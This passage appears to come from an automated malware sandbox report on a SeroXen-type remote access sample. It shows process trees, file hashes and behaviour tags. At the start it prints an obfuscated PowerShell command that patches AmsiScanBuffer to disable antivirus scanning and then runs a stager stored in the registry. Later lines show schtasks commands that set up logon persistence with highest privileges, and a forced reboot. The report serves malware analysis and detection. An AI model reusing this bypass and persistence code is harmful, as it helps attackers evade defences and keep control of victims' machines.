ZMiDHCj.Invoke($Null,@([Object]$IeKkqEf,[Object](''+[Char](65)+''+[Char](109)+''+'s'+''+[Char](105)+'S'+[Char](99)+''+[Char](97)+''+[Char](110)+''+'B'+''+[Char](117)+''+'f'+''+[Char](102)+''+'e'+''+[Char](114)+'')));$lwpkJuIsXO=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($rWEAntqIgZNBWxBkE,$cFSySfqVPBEDiRjPzdVNFJ).Invoke($lWYqvsohjMcTMVizL,[uint32]8,4,[ref]$lwpkJuIsXO);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$lWYqvsohjMcTMVizL,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($rWEAntqIgZNBWxBkE,$cFSySfqVPBEDiRjPzdVNFJ).Invoke($lWYqvsohjMcTMVizL,[uint32]8,0x20,[ref]$lwpkJuIsXO);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+'O'+'F'+[Char](84)+''+'W'+''+[Char](65)+''+[Char](82)+''+[Char](69)+'').GetValue(''+[Char](36)+''+[Char](55)+''+[Char](55)+'s'+'t'+''+[Char](97)+''+'g'+'e'+'r'+'')).EntryPoint.Invoke($Null,$Null)"2⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4768 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:1188
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1148
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1192
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1200
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1260
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1312
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netprofm -p -s netprofm1⤵PID:1320
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1416
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:2752
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p1⤵PID:1592
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵
- Drops file in System32 directory
PID:1612
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1704
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1772
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1780
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1928
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1952
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:2044
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1584
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1628
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:2052
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:2128
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:2212
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2296
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2328
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2508
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2520
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p1⤵PID:2560
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵PID:2624
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C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵PID:2660
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2688
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵PID:2700
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2740
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:2876
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:3188
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3384
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C:\Users\Admin\AppData\Local\Temp\Uni.exe"C:\Users\Admin\AppData\Local\Temp\Uni.exe"2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1988 -
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "SeroXen" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\Uni.exe" /rl HIGHEST /f3⤵
- Creates scheduled task(s)
PID:5020
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C:\Users\Admin\AppData\Roaming\SubDir\Client.exe"C:\Users\Admin\AppData\Roaming\SubDir\Client.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3376 -
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "SeroXen" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe" /rl HIGHEST /f4⤵
- Creates scheduled task(s)
PID:3024
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C:\Users\Admin\AppData\Local\Temp\install.exe"C:\Users\Admin\AppData\Local\Temp\install.exe"4⤵
- Executes dropped EXE
PID:2832
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C:\Windows\SysWOW64\shutdown.exe"C:\Windows\System32\shutdown.exe" /r /t 04⤵PID:3156
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C:\Users\Admin\AppData\Local\Temp\install.exe"C:\Users\Admin\AppData\Local\Temp\install.exe"3⤵
- Executes dropped EXE
PID:3780
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C:\Windows\SysWOW64\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Uni.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\Uni.exe'" /sc onlogon /rl HIGHEST3⤵
- Creates scheduled task(s)
PID:4248
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:3508
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo1⤵PID:3556
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3904
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4008
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:4072
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc1⤵PID:1224
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}1⤵PID:4236
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc1⤵PID:4424
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:4668
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:488
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:1824
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵PID:2736
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵PID:1280
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C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵PID:2072
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:2684
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵PID:3216
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3544
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C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵PID:4880
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
162KB
MD5152e3f07bbaf88fb8b097ba05a60df6e
SHA1c4638921bb140e7b6a722d7c4d88afa7ed4e55c8
SHA256a4623b34f8d09f536e6d8e2f06f6edfb3975938eb0d9927e6cd2ff9c553468fc
SHA5122fcc3136e161e89a123f9ff8447afc21d090afdb075f084439b295988214d4b8e918be7eff47ffeec17a4a47ad5a49195b69e2465f239ee03d961a655ed51cd4
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Filesize
409KB
MD54c2bb0618a6eda615c8001d5a7ccd6c0
SHA1c88d2c8bfc5906a5cfef78893d1132edcffd71f0
SHA256abcda524c02f9381d8d43f9ec0079d854db821d77f45e88f50606f46871f81d6
SHA5126abe53339656a023e2a0547f1c2249789c33091d67a21f2e689c6411dc5357e34ec3c65634b6f6955a5023d20803f7c746b13f574bcd84b008abb4a97ea61027
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log
Filesize2KB
MD55f4c933102a824f41e258078e34165a7
SHA1d2f9e997b2465d3ae7d91dad8d99b77a2332b6ee
SHA256d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2
SHA512a7556b2be1a69dbc1f7ff4c1c25581a28cb885c7e1116632c535fee5facaa99067bcead8f02499980f1d999810157d0fc2f9e45c200dee7d379907ef98a6f034
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize1KB
MD5bb7d9cd87343b2c81c21c7b27e6ab694
SHA127475110d09f1fc948f1d5ecf3e41aba752401fd
SHA256b06963546e5a36237a9061b369789ebdfc6578c4adfbb3ad425a623ffd2518df
SHA512bf6e222412df3e8fb28fbdd2247628b85ed5087d7be94fa77577a45d02c5f929f20d572867616f1761c86a81e0769d63be5a4e737975c7e7ebc2ef9dccae9a0b